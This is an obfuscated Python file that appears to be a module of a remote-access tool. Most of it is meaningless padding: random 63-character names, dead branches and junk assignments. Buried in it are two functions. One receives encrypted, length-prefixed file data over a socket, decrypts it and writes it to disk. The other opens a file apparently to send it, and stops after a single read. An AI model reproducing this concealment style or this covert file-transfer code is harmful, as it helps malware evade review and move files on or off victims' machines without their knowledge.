# -*- coding: utf-8 -*-
try:
    OlTRNSpAZNPGoHIPCoGhefEksSmIzoSGAyzjHmHNUkzJRSREXzneFIvPRsGEFCm = 'RFQCLyyOYJURPHBnDFJSwbUEDEOtoGIFrxOBPlurFQyyFEBTJSiImSNppuXCRzG'
    RAFONRQJMFyPjIwHzFvjCsuZAINxAeuxkxCmvyrVSSyJJAEGLRSKMHiQSCSiyQS = 'AFpZqjmRJrhJQSSijxAsxpyDMOkuwIAEtzRGCJBElRjDBvIcrvFtExywxFYQPuq'
    EQAHFsUzzNAVETtiElSDvrySQHqyjSDSQFRJPHHCIIpVlRIQsNZQvrrEUHuXctj = 'QDGzPAFzFqqqnorzCyCNsaROwRAPrwvVwtvvNElDrmqGKJyQJqBrrkvfqwxQxwQ'
    lFxAusHmIEzMGHrRJJEBHzFFwxmQFPHrOrsGGnHGGvHCqFJUFHGHuqJsFszzFJO = 'DQwEIPzyjzAkDAYAyOTtujFxtPHsvCOSPkUBiyGCrtgIDJECYErgMHAyFTSGnXy'
    tNBnvFkDHDSREhtyCSSsGSRIJwCPytRheEPJsEDISFGiSHZxEIHIspJGGnBzsZ = 'NRYSzvGIRClzmJBHHIDRElxNqGFBfEkvRDwybAtFzPCXHqEttJkvnsRFETVRiPc'
    FDwPJlqCqQywDOHAloEOqSNzmSDUlPxMEMEsqivnJFErGEGGiDEEEqfXWjAyWxG = 'IrcrGJuGCJEJISJSqCFWziSGsGzQrlVACGwFuGpZSyDDGySPDBOQxTTqoUhxqw'
    MNBIyCmluhIxCyBDzAIhBytEECQPRBHzBDswxOJOQAjexCHGOuGrfHDCxrSroRA = [
            'RFQCLyyOYJURPHBnDFJSwbUEDEOtoGIFrxOBPlurFQyyFEBTJSiImSNppuXCRzG',
            'QDGzPAFzFqqqnorzCyCNsaROwRAPrwvVwtvvNElDrmqGKJyQJqBrrkvfqwxQxwQ',
            'NRYSzvGIRClzmJBHHIDRElxNqGFBfEkvRDwybAtFzPCXHqEttJkvnsRFETVRiPc',
            'fJLEDBDCJQJEAzvOSPPGDFAVUJtCYCoOQxJPrxZvGnFlnNDJnwJWSIDSZFNSzVv'
    ]
    for OlTRNSpAZNPGoHIPCoGhefEksSmIzoSGAyzjHmHNUkzJRSREXzneFIvPRsGEFCm in FDwPJlqCqQywDOHAloEOqSNzmSDUlPxMEMEsqivnJFErGEGGiDEEEqfXWjAyWxG:
        for RAFONRQJMFyPjIwHzFvjCsuZAINxAeuxkxCmvyrVSSyJJAEGLRSKMHiQSCSiyQS in EQAHFsUzzNAVETtiElSDvrySQHqyjSDSQFRJPHHCIIpVlRIQsNZQvrrEUHuXctj:
            if lFxAusHmIEzMGHrRJJEBHzFFwxmQFPHrOrsGGnHGGvHCqFJUFHGHuqJsFszzFJO == tNBnvFkDHDSREhtyCSSsGSRIJwCPytRheEPJsEDISFGiSHZxEIHIspJGGnBzsZ:
                RAFONRQJMFyPjIwHzFvjCsuZAINxAeuxkxCmvyrVSSyJJAEGLRSKMHiQSCSiyQS = OlTRNSpAZNPGoHIPCoGhefEksSmIzoSGAyzjHmHNUkzJRSREXzneFIvPRsGEFCm
            elif tNBnvFkDHDSREhtyCSSsGSRIJwCPytRheEPJsEDISFGiSHZxEIHIspJGGnBzsZ == RAFONRQJMFyPjIwHzFvjCsuZAINxAeuxkxCmvyrVSSyJJAEGLRSKMHiQSCSiyQS:
                RAFONRQJMFyPjIwHzFvjCsuZAINxAeuxkxCmvyrVSSyJJAEGLRSKMHiQSCSiyQS = FDwPJlqCqQywDOHAloEOqSNzmSDUlPxMEMEsqivnJFErGEGGiDEEEqfXWjAyWxG
            else:
                tNBnvFkDHDSREhtyCSSsGSRIJwCPytRheEPJsEDISFGiSHZxEIHIspJGGnBzsZ = FDwPJlqCqQywDOHAloEOqSNzmSDUlPxMEMEsqivnJFErGEGGiDEEEqfXWjAyWxG
                for RAFONRQJMFyPjIwHzFvjCsuZAINxAeuxkxCmvyrVSSyJJAEGLRSKMHiQSCSiyQS in MNBIyCmluhIxCyBDzAIhBytEECQPRBHzBDswxOJOQAjexCHGOuGrfHDCxrSroRA:
                    EQAHFsUzzNAVETtiElSDvrySQHqyjSDSQFRJPHHCIIpVlRIQsNZQvrrEUHuXctj = RAFONRQJMFyPjIwHzFvjCsuZAINxAeuxkxCmvyrVSSyJJAEGLRSKMHiQSCSiyQS
except Exception:
    pass
import socket
svlEGcUrxlxEOPVyJJUIxuzHBUrUtBwOEySrtGFzFtIBJhPvSCBARySOHRovCgI = 'HzHjAEwNPTnzxFSCtHgQvZiGzRqkARDwotFctsQaEJtOQWCRxwtQRzVrHqoSwxy'
RsMsUPoRuvRekGIQvuOGSGvQPHtwqpBtAMGPgHRJiSBjEIHAiNMBvxWFyJwEGFj = 'iXMtWCzSlGRqZvWvSIGqSfFyTDFIDCSNQJEHFDGuODyTYwhkhZLTQDGBSIlEPEP'
tGCqRGzRSOxPIPSqDZxIPsAmBQxxPsgZzZjjCCOlsDHQwPuDGHquSDSwFSrzAsC = 'QxSmAiiGGCGmnRCyJtrlRyRXyugJfCJhCImEJJIDqrHeQGtRFzDeByCAJlpBIJU'
if svlEGcUrxlxEOPVyJJUIxuzHBUrUtBwOEySrtGFzFtIBJhPvSCBARySOHRovCgI == RsMsUPoRuvRekGIQvuOGSGvQPHtwqpBtAMGPgHRJiSBjEIHAiNMBvxWFyJwEGFj:
    tGCqRGzRSOxPIPSqDZxIPsAmBQxxPsgZzZjjCCOlsDHQwPuDGHquSDSwFSrzAsC = 'QxSmAiiGGCGmnRCyJtrlRyRXyugJfCJhCImEJJIDqrHeQGtRFzDeByCAJlpBIJU'
    tGCqRGzRSOxPIPSqDZxIPsAmBQxxPsgZzZjjCCOlsDHQwPuDGHquSDSwFSrzAsC = svlEGcUrxlxEOPVyJJUIxuzHBUrUtBwOEySrtGFzFtIBJhPvSCBARySOHRovCgI
else:
    tGCqRGzRSOxPIPSqDZxIPsAmBQxxPsgZzZjjCCOlsDHQwPuDGHquSDSwFSrzAsC = 'QxSmAiiGGCGmnRCyJtrlRyRXyugJfCJhCImEJJIDqrHeQGtRFzDeByCAJlpBIJU'
    tGCqRGzRSOxPIPSqDZxIPsAmBQxxPsgZzZjjCCOlsDHQwPuDGHquSDSwFSrzAsC = 'HzHjAEwNPTnzxFSCtHgQvZiGzRqkARDwotFctsQaEJtOQWCRxwtQRzVrHqoSwxy'
import struct
OOwGPepEAjwIxCquNItFtpoZtxpQCvPwOTISEssqPxqGDDOFFiqwVDFgixJxDrG = 'sRScEnAqSpQmRQnSxFSRnzHrqHRrnSMJxHslqUJNRQDMtNiExQoHBIGAISEAmIJ'
LlhajwFlPkGFoERFgDBBjBSPuFAJUQTrFvxopGSICENvJFmOlFJAwvFPvAuuvSu = 'SIawxWAoGGzIwAlwyaxMtBDRCPJCYyBHSqEnDBHDFJIzRENsxDEmkxpRGDRsrsJ'
sDHrSBCxyxJnevIVEqrmCtoDzApwHQvGyFUGBnCHREwnIvGXRyGyFPHNzCysFC = 'SJIrRttslEHkRPnxgpAAlxRCUIGbCNXxQhoaHstyPSNRxzqqtGizzXUJOEJCRkC'
if OOwGPepEAjwIxCquNItFtpoZtxpQCvPwOTISEssqPxqGDDOFFiqwVDFgixJxDrG == LlhajwFlPkGFoERFgDBBjBSPuFAJUQTrFvxopGSICENvJFmOlFJAwvFPvAuuvSu:
    sDHrSBCxyxJnevIVEqrmCtoDzApwHQvGyFUGBnCHREwnIvGXRyGyFPHNzCysFC = 'SJIrRttslEHkRPnxgpAAlxRCUIGbCNXxQhoaHstyPSNRxzqqtGizzXUJOEJCRkC'
    sDHrSBCxyxJnevIVEqrmCtoDzApwHQvGyFUGBnCHREwnIvGXRyGyFPHNzCysFC = OOwGPepEAjwIxCquNItFtpoZtxpQCvPwOTISEssqPxqGDDOFFiqwVDFgixJxDrG
else:
    sDHrSBCxyxJnevIVEqrmCtoDzApwHQvGyFUGBnCHREwnIvGXRyGyFPHNzCysFC = 'SJIrRttslEHkRPnxgpAAlxRCUIGbCNXxQhoaHstyPSNRxzqqtGizzXUJOEJCRkC'
    sDHrSBCxyxJnevIVEqrmCtoDzApwHQvGyFUGBnCHREwnIvGXRyGyFPHNzCysFC = 'sRScEnAqSpQmRQnSxFSRnzHrqHRrnSMJxHslqUJNRQDMtNiExQoHBIGAISEAmIJ'
from mlRSHnORJEINxGsriAJHTYHTPRECHHXCEJyGqrsOxjXFuEYyCypFDxmBgyzHeeR import SPuftCNRrBmEOHCGpJsNAREOsyuxkCNDSBrSxGriSZOARHCTADxEyFHFPgOgFtg
ZquyHzrWZIQAFPdCEAPPuBJOOtzhZuEPIkyFAxqHPnrRpyyjBsGuqiwDxIIxWQQ = 'JkIhmuQQRHQHSRvCEkqDLsGJsmzIsyCwAzSFnIESOomqMQLOzAsQJGsIMEuSNz'
eIFHisAGrQFIkPRHyFCSIqtfvyCSPSjGCzBvSRFVtsgLGMJxLvyeCGQshypFxFd = 'rsQxIPLgQIksXnoRISrPCYqAvGuSCvyxtSOEuSCuIovPHOFszwyHIuURlIBmFqV'
crzjPFiSElNRuvrgTnuRIHFrEHHlCFoRrYPCkrpIxQRDuHxNIHDzFjwbBxozGRn = 'qZQASPhuyASSBFvoyJuCuEQzIwNrsCRAUSNArIcDINGAurvCIDQGQIHDtqPirzB'
rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI = 'lmmDACqMrviRbOByuevwSYytIjKIRAuEQerONIvCzWvVkOBROGonRhzEAnGRYrF'
if eIFHisAGrQFIkPRHyFCSIqtfvyCSPSjGCzBvSRFVtsgLGMJxLvyeCGQshypFxFd == ZquyHzrWZIQAFPdCEAPPuBJOOtzhZuEPIkyFAxqHPnrRpyyjBsGuqiwDxIIxWQQ:
    for ZquyHzrWZIQAFPdCEAPPuBJOOtzhZuEPIkyFAxqHPnrRpyyjBsGuqiwDxIIxWQQ in eIFHisAGrQFIkPRHyFCSIqtfvyCSPSjGCzBvSRFVtsgLGMJxLvyeCGQshypFxFd:
        if eIFHisAGrQFIkPRHyFCSIqtfvyCSPSjGCzBvSRFVtsgLGMJxLvyeCGQshypFxFd == eIFHisAGrQFIkPRHyFCSIqtfvyCSPSjGCzBvSRFVtsgLGMJxLvyeCGQshypFxFd:
            crzjPFiSElNRuvrgTnuRIHFrEHHlCFoRrYPCkrpIxQRDuHxNIHDzFjwbBxozGRn = 'rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI'
        elif crzjPFiSElNRuvrgTnuRIHFrEHHlCFoRrYPCkrpIxQRDuHxNIHDzFjwbBxozGRn == rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI:
            rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI = ZquyHzrWZIQAFPdCEAPPuBJOOtzhZuEPIkyFAxqHPnrRpyyjBsGuqiwDxIIxWQQ
        else:
            ZquyHzrWZIQAFPdCEAPPuBJOOtzhZuEPIkyFAxqHPnrRpyyjBsGuqiwDxIIxWQQ = eIFHisAGrQFIkPRHyFCSIqtfvyCSPSjGCzBvSRFVtsgLGMJxLvyeCGQshypFxFd
elif crzjPFiSElNRuvrgTnuRIHFrEHHlCFoRrYPCkrpIxQRDuHxNIHDzFjwbBxozGRn == crzjPFiSElNRuvrgTnuRIHFrEHHlCFoRrYPCkrpIxQRDuHxNIHDzFjwbBxozGRn:
    for crzjPFiSElNRuvrgTnuRIHFrEHHlCFoRrYPCkrpIxQRDuHxNIHDzFjwbBxozGRn in eIFHisAGrQFIkPRHyFCSIqtfvyCSPSjGCzBvSRFVtsgLGMJxLvyeCGQshypFxFd:
        if rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI == eIFHisAGrQFIkPRHyFCSIqtfvyCSPSjGCzBvSRFVtsgLGMJxLvyeCGQshypFxFd:
            crzjPFiSElNRuvrgTnuRIHFrEHHlCFoRrYPCkrpIxQRDuHxNIHDzFjwbBxozGRn = 'rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI'
        elif crzjPFiSElNRuvrgTnuRIHFrEHHlCFoRrYPCkrpIxQRDuHxNIHDzFjwbBxozGRn == rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI:
            rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI = ZquyHzrWZIQAFPdCEAPPuBJOOtzhZuEPIkyFAxqHPnrRpyyjBsGuqiwDxIIxWQQ
        else:
            ZquyHzrWZIQAFPdCEAPPuBJOOtzhZuEPIkyFAxqHPnrRpyyjBsGuqiwDxIIxWQQ = eIFHisAGrQFIkPRHyFCSIqtfvyCSPSjGCzBvSRFVtsgLGMJxLvyeCGQshypFxFd
            for crzjPFiSElNRuvrgTnuRIHFrEHHlCFoRrYPCkrpIxQRDuHxNIHDzFjwbBxozGRn in eIFHisAGrQFIkPRHyFCSIqtfvyCSPSjGCzBvSRFVtsgLGMJxLvyeCGQshypFxFd:
                if rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI == eIFHisAGrQFIkPRHyFCSIqtfvyCSPSjGCzBvSRFVtsgLGMJxLvyeCGQshypFxFd:
                    crzjPFiSElNRuvrgTnuRIHFrEHHlCFoRrYPCkrpIxQRDuHxNIHDzFjwbBxozGRn = 'rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI'
                elif crzjPFiSElNRuvrgTnuRIHFrEHHlCFoRrYPCkrpIxQRDuHxNIHDzFjwbBxozGRn == rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI:
                    rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI = ZquyHzrWZIQAFPdCEAPPuBJOOtzhZuEPIkyFAxqHPnrRpyyjBsGuqiwDxIIxWQQ
                else:
                    ZquyHzrWZIQAFPdCEAPPuBJOOtzhZuEPIkyFAxqHPnrRpyyjBsGuqiwDxIIxWQQ = rBGsRywGRGEyvDCfuDyFCSmFElyGhFNvfEMRMCESMXGmGFqAzFnzstAxEDCPxGI
else:
    ZquyHzrWZIQAFPdCEAPPuBJOOtzhZuEPIkyFAxqHPnrRpyyjBsGuqiwDxIIxWQQ = eIFHisAGrQFIkPRHyFCSIqtfvyCSPSjGCzBvSRFVtsgLGMJxLvyeCGQshypFxFd
from mlRSHnORJEINxGsriAJHTYHTPRECHHXCEJyGqrsOxjXFuEYyCypFDxmBgyzHeeR import uSIByGHznHHkkvwwPIVnIDFmmvPIHMRIyINSxzREPRIJQsuHBAIBMOtBQvIltFA
FQzIujOJZXBYxJJARrSHANqCPvMzOACpzxwAJylpyHDaDBAREyqQTEzwQGFSnGr = 'cXFpFSIKDFnzAIIHFJJevJIDtQMJpQuFESGFyyyYdINVHLsCRxqRZHzFFIHCfPH'
DHyCvWRyCIFnRvYjrosBAhFXUJMDnOuKVoIwvSwuQyJEtAzyEIWyjwxHPxFqDRB = 'QDOlwyVHuNFPXZeHfkUmyeUEswALATexDyZRpQyWMApcmEJODCESDGnlzASmJlz'
CkOrIBXyFjtjAwnUVrzauARunRFvCJHrFQnQItAGAAoTRAtCEIYuMuRvOwDACvI = 'CPxRVyosCwNHTICJmrDSFNJQHSQnArMhvPsyTyovHHZJpLrVyShuUluzQQwAbaH'
ATsvAkzNpSNzzFAtcIBztrJEuDpHxihxjuwHAERzIPJyrJFDSpDGFzZPnoCFtgz = 'sqpGQBFTLimoEFDIOynkAyYExeAXXkCBxJQQuLJqeDoQGqwzrlsmIECJJyDVIOR'
JxmHpGBVeRGuHEOxNEqpQpqPtMxBHICQQpqoDxgCMJAjBPvwUPFjKPBGBHOGBjs = 'zrGzZRSyCYGFqiBSTNREzjuExFFrNAWIDAwEQDpHuDvuCDxGEBwQLHGBSCpDeqH'
SIJZRyNwGyPtGWmGuzDxCtDhIiDRySowSPRQAFECJSIpDIztAQtWZuGkGJgAJXB = 'DRFxBswycHJTrpVxCqmuQRQtwmDEEIQDDHgLSUmJGIvGEHslRzAZWuEvvwvQCoq'
if CkOrIBXyFjtjAwnUVrzauARunRFvCJHrFQnQItAGAAoTRAtCEIYuMuRvOwDACvI == ATsvAkzNpSNzzFAtcIBztrJEuDpHxihxjuwHAERzIPJyrJFDSpDGFzZPnoCFtgz:
    for SIJZRyNwGyPtGWmGuzDxCtDhIiDRySowSPRQAFECJSIpDIztAQtWZuGkGJgAJXB in JxmHpGBVeRGuHEOxNEqpQpqPtMxBHICQQpqoDxgCMJAjBPvwUPFjKPBGBHOGBjs:
        if SIJZRyNwGyPtGWmGuzDxCtDhIiDRySowSPRQAFECJSIpDIztAQtWZuGkGJgAJXB == ATsvAkzNpSNzzFAtcIBztrJEuDpHxihxjuwHAERzIPJyrJFDSpDGFzZPnoCFtgz:
            JxmHpGBVeRGuHEOxNEqpQpqPtMxBHICQQpqoDxgCMJAjBPvwUPFjKPBGBHOGBjs = FQzIujOJZXBYxJJARrSHANqCPvMzOACpzxwAJylpyHDaDBAREyqQTEzwQGFSnGr
        else:
            ATsvAkzNpSNzzFAtcIBztrJEuDpHxihxjuwHAERzIPJyrJFDSpDGFzZPnoCFtgz = DHyCvWRyCIFnRvYjrosBAhFXUJMDnOuKVoIwvSwuQyJEtAzyEIWyjwxHPxFqDRB
def vIRwVSrRIoGDyAzHuoJjtNEGPQATAHFuAoCIjSvXYCAHcDGzOHiuVDIDtwoJGpy(sock, HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ, key):
    with open(HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ, 'wb') as f:
        rSFiHrlsYQFxGMQSzZrkEjfQwOVDFrJFPrHraDGIqFQAMHRuPPRSAzGaCJPyFwF = 'BTGCjlsDGElDyTIHoOweWBOCHEyvZJgMAPOTOIGGptoIVZyFZfBfwRryzEhkiRn'
        tQzSCHDGxuHwSFWxHRwmjIxzyHGttGXnHkShvADSxDIEmSDvITQsDFuMuFEumJQ = 'yFGquBkhIBQFFSCCzzuzSvOSIgwOHRsDGJtPEJCJGCICIEsEQZFHAuxEHSIHVrG'
        SwPvCuzzZPCRPxGNAzxzOrHTqtPPAnHXGhdvEHoCQpPlNqfPMXAIPJlJzJysJRn = 'FJysoBvxiyHuFEeREIPOwwxJSNCyHBFCLuPEDSpJBEwRHRsCtBAUIkpPPwQCQWI'
        OoCUDEEuGAuRHzswGtwEBGzGZZAAvxDCIgJzxFDxPvEGqAuLPNzEzFGFAxCqOBo = 'wzAJHJwhPCHRvRmyRrwPBSGRQInqHiAmgrrsJIrqMFlQWMSzvBCCkyVnlCPQWWI'
        cFxkrJklDGQIZIuZPlJSSCEoNZuHGQFuHFKvGUFuouIeENtqruwgIIXuXwBoHzJ = 'iPEECSpeAYsVUIeIwgHvJHCQSBEuCQpUEHxhmFvzCqDSeOPxyqnDnyvQyYTAeS'
        if rSFiHrlsYQFxGMQSzZrkEjfQwOVDFrJFPrHraDGIqFQAMHRuPPRSAzGaCJPyFwF in tQzSCHDGxuHwSFWxHRwmjIxzyHGttGXnHkShvADSxDIEmSDvITQsDFuMuFEumJQ:
            rSFiHrlsYQFxGMQSzZrkEjfQwOVDFrJFPrHraDGIqFQAMHRuPPRSAzGaCJPyFwF = cFxkrJklDGQIZIuZPlJSSCEoNZuHGQFuHFKvGUFuouIeENtqruwgIIXuXwBoHzJ
            if tQzSCHDGxuHwSFWxHRwmjIxzyHGttGXnHkShvADSxDIEmSDvITQsDFuMuFEumJQ in SwPvCuzzZPCRPxGNAzxzOrHTqtPPAnHXGhdvEHoCQpPlNqfPMXAIPJlJzJysJRn:
                tQzSCHDGxuHwSFWxHRwmjIxzyHGttGXnHkShvADSxDIEmSDvITQsDFuMuFEumJQ = OoCUDEEuGAuRHzswGtwEBGzGZZAAvxDCIgJzxFDxPvEGqAuLPNzEzFGFAxCqOBo
        elif tQzSCHDGxuHwSFWxHRwmjIxzyHGttGXnHkShvADSxDIEmSDvITQsDFuMuFEumJQ in rSFiHrlsYQFxGMQSzZrkEjfQwOVDFrJFPrHraDGIqFQAMHRuPPRSAzGaCJPyFwF:
            SwPvCuzzZPCRPxGNAzxzOrHTqtPPAnHXGhdvEHoCQpPlNqfPMXAIPJlJzJysJRn = tQzSCHDGxuHwSFWxHRwmjIxzyHGttGXnHkShvADSxDIEmSDvITQsDFuMuFEumJQ
            if SwPvCuzzZPCRPxGNAzxzOrHTqtPPAnHXGhdvEHoCQpPlNqfPMXAIPJlJzJysJRn in tQzSCHDGxuHwSFWxHRwmjIxzyHGttGXnHkShvADSxDIEmSDvITQsDFuMuFEumJQ:
                tQzSCHDGxuHwSFWxHRwmjIxzyHGttGXnHkShvADSxDIEmSDvITQsDFuMuFEumJQ = cFxkrJklDGQIZIuZPlJSSCEoNZuHGQFuHFKvGUFuouIeENtqruwgIIXuXwBoHzJ
        RABpPBmIJvHpuVPjPJBZtMawIlDHWDOyyUIGSnGHGPQAvwQIOHIIxGDwxGEQpBo = struct.unpack("!I", sock.recv(4))[0]
        while RABpPBmIJvHpuVPjPJBZtMawIlDHWDOyyUIGSnGHGPQAvwQIOHIIxGDwxGEQpBo:
            CgvphRqZRvunOHEENnlBHvGnzIqIrCzxwTHnmiFTJkFwIsPGGkRMSWvlrHlvsvA = 'TEUCnGxPEOJrAByACczFPkwGJUDovGxCBEwsvwbIwckzpSRxQoIDDCqkGCkiVCE'
            ISBqamPXDJJPJTJRLtmCGknDRIIHCnLvIGfIyCrPyQkfyXJsgZBPGBRrOzlIFM = 'QBoOSvJDNIsvEApHurCmIPMQuENmXAoTujHumJSRiRwEHAiSzJJEWSGPwiENkBr'
            JRIWiAxIpRoGQHjlyeHSznHFsjRjKSxvrPmzJBVRFRrjIDEguwGSvwRzQpSjFp = 'ONPvEQASQJtngGCnHJBAGzPCGRRHQTtqEAHAsWGGprFvpHRwCapDtkiGIDJSRIq'
            if CgvphRqZRvunOHEENnlBHvGnzIqIrCzxwTHnmiFTJkFwIsPGGkRMSWvlrHlvsvA == ISBqamPXDJJPJTJRLtmCGknDRIIHCnLvIGfIyCrPyQkfyXJsgZBPGBRrOzlIFM:
                JRIWiAxIpRoGQHjlyeHSznHFsjRjKSxvrPmzJBVRFRrjIDEguwGSvwRzQpSjFp = 'ONPvEQASQJtngGCnHJBAGzPCGRRHQTtqEAHAsWGGprFvpHRwCapDtkiGIDJSRIq'
                JRIWiAxIpRoGQHjlyeHSznHFsjRjKSxvrPmzJBVRFRrjIDEguwGSvwRzQpSjFp = CgvphRqZRvunOHEENnlBHvGnzIqIrCzxwTHnmiFTJkFwIsPGGkRMSWvlrHlvsvA
            else:
                JRIWiAxIpRoGQHjlyeHSznHFsjRjKSxvrPmzJBVRFRrjIDEguwGSvwRzQpSjFp = 'ONPvEQASQJtngGCnHJBAGzPCGRRHQTtqEAHAsWGGprFvpHRwCapDtkiGIDJSRIq'
                JRIWiAxIpRoGQHjlyeHSznHFsjRjKSxvrPmzJBVRFRrjIDEguwGSvwRzQpSjFp = 'TEUCnGxPEOJrAByACczFPkwGJUDovGxCBEwsvwbIwckzpSRxQoIDDCqkGCkiVCE'
            IQnPQESIJCFjEtNCSjsvvoAVEySeYzJwXFMcRyxsIyCwFREIPtDSHRDrHuBmSJt = sock.recv(RABpPBmIJvHpuVPjPJBZtMawIlDHWDOyyUIGSnGHGPQAvwQIOHIIxGDwxGEQpBo)
            f.write(uSIByGHznHHkkvwwPIVnIDFmmvPIHMRIyINSxzREPRIJQsuHBAIBMOtBQvIltFA(IQnPQESIJCFjEtNCSjsvvoAVEySeYzJwXFMcRyxsIyCwFREIPtDSHRDrHuBmSJt, key))
            RABpPBmIJvHpuVPjPJBZtMawIlDHWDOyyUIGSnGHGPQAvwQIOHIIxGDwxGEQpBo = struct.unpack("!I", sock.recv(4))[0]
def kyvylzQylABvsJoPANuHBJzJofEFAOEIIiJpCEDRxoQNolMqHtFCHxSyBSrFSCC(sock, HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ, key):
    with open(HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ, 'rb') as f:
        CLNrWPyBhRGCIxJQHESIHjHSDlpECRvJvZGFFBpeItsrqwQOSVrTwwwzfFSDmWz = 'RwAOCSRFvOuyqxlDQDtIIPDkQjCOPqqNnSPIYVHkEwQyIYjnRGmCIQDKOAQZAzO'
        JIGJzQQxFSSNDmArIxunFzTvnjUFQHzmAGLDDlAkFIqQxNrJGuVqyABFwERoSuS = 'GHmBtRUpQRvVxEBjEOQRsuQwgBXauqPEOqmARNFVnJbpUFJxnJCGIUkmAIyCIMD'
        HgkmQvIHLkJmtiyflpuzGjzSECCgAtBqIvDyAWoCSSCADEDDsuANBNGZIIRAuTQ = 'hxDGSUkNIDItRBwHQwCEIhFDXqFXESVuHVGzrTCduyGnFJqsuwmbEeQBBIQMpxB'
        YROhIiImQGGrqRxtrfxRRHjGwDygiNrDuyFtFChOIyJCCEMuIQueuqeuwEJVZzJ = 'RCmsHZAGqRxoQSGiDWKHFRCtiuSJrEsrTwRBAwQrvrPkgiyVWGxFvTvPAkDuEUt'
        PwrxRLHAHyojBQQygzFJmjyCTOOoCpAGvAoxPqgxztsGJvHgqCrIuilByMSkzSL = 'SREPVSuuxSEFvtHISIqghRsqaCwVQuFsaezsHuoNFNAGHNmGVNuXtvxzAEgCGCB'
        DIBEwQGVSJojAHRClIFwQQvMRTAvDFyNuRuiABGQSyEEtGfHDPZXnmIICACpwRM = 'VCeBDBmRBQEnayEHzHFEGdorGLFtpssDJCYtIQyClWMHEIqYQuGzCSxEHASEHfQ'
        if CLNrWPyBhRGCIxJQHESIHjHSDlpECRvJvZGFFBpeItsrqwQOSVrTwwwzfFSDmWz != YROhIiImQGGrqRxtrfxRRHjGwDygiNrDuyFtFChOIyJCCEMuIQueuqeuwEJVZzJ:
            JIGJzQQxFSSNDmArIxunFzTvnjUFQHzmAGLDDlAkFIqQxNrJGuVqyABFwERoSuS = HgkmQvIHLkJmtiyflpuzGjzSECCgAtBqIvDyAWoCSSCADEDDsuANBNGZIIRAuTQ
            for DIBEwQGVSJojAHRClIFwQQvMRTAvDFyNuRuiABGQSyEEtGfHDPZXnmIICACpwRM in YROhIiImQGGrqRxtrfxRRHjGwDygiNrDuyFtFChOIyJCCEMuIQueuqeuwEJVZzJ:
                if DIBEwQGVSJojAHRClIFwQQvMRTAvDFyNuRuiABGQSyEEtGfHDPZXnmIICACpwRM != HgkmQvIHLkJmtiyflpuzGjzSECCgAtBqIvDyAWoCSSCADEDDsuANBNGZIIRAuTQ:
                    JIGJzQQxFSSNDmArIxunFzTvnjUFQHzmAGLDDlAkFIqQxNrJGuVqyABFwERoSuS = JIGJzQQxFSSNDmArIxunFzTvnjUFQHzmAGLDDlAkFIqQxNrJGuVqyABFwERoSuS
                else:
                    PwrxRLHAHyojBQQygzFJmjyCTOOoCpAGvAoxPqgxztsGJvHgqCrIuilByMSkzSL = CLNrWPyBhRGCIxJQHESIHjHSDlpECRvJvZGFFBpeItsrqwQOSVrTwwwzfFSDmWz
        else:
            HgkmQvIHLkJmtiyflpuzGjzSECCgAtBqIvDyAWoCSSCADEDDsuANBNGZIIRAuTQ = CLNrWPyBhRGCIxJQHESIHjHSDlpECRvJvZGFFBpeItsrqwQOSVrTwwwzfFSDmWz
            CLNrWPyBhRGCIxJQHESIHjHSDlpECRvJvZGFFBpeItsrqwQOSVrTwwwzfFSDmWz = PwrxRLHAHyojBQQygzFJmjyCTOOoCpAGvAoxPqgxztsGJvHgqCrIuilByMSkzSL
            if HgkmQvIHLkJmtiyflpuzGjzSECCgAtBqIvDyAWoCSSCADEDDsuANBNGZIIRAuTQ == CLNrWPyBhRGCIxJQHESIHjHSDlpECRvJvZGFFBpeItsrqwQOSVrTwwwzfFSDmWz:
                for DIBEwQGVSJojAHRClIFwQQvMRTAvDFyNuRuiABGQSyEEtGfHDPZXnmIICACpwRM in CLNrWPyBhRGCIxJQHESIHjHSDlpECRvJvZGFFBpeItsrqwQOSVrTwwwzfFSDmWz:
                    if DIBEwQGVSJojAHRClIFwQQvMRTAvDFyNuRuiABGQSyEEtGfHDPZXnmIICACpwRM == HgkmQvIHLkJmtiyflpuzGjzSECCgAtBqIvDyAWoCSSCADEDDsuANBNGZIIRAuTQ:
                        HgkmQvIHLkJmtiyflpuzGjzSECCgAtBqIvDyAWoCSSCADEDDsuANBNGZIIRAuTQ = CLNrWPyBhRGCIxJQHESIHjHSDlpECRvJvZGFFBpeItsrqwQOSVrTwwwzfFSDmWz
                    else:
                        HgkmQvIHLkJmtiyflpuzGjzSECCgAtBqIvDyAWoCSSCADEDDsuANBNGZIIRAuTQ = PwrxRLHAHyojBQQygzFJmjyCTOOoCpAGvAoxPqgxztsGJvHgqCrIuilByMSkzSL
        IQnPQESIJCFjEtNCSjsvvoAVEySeYzJwXFMcRyxsIyCwFREIPtDSHRDrHuBmSJt = f.read(4096)
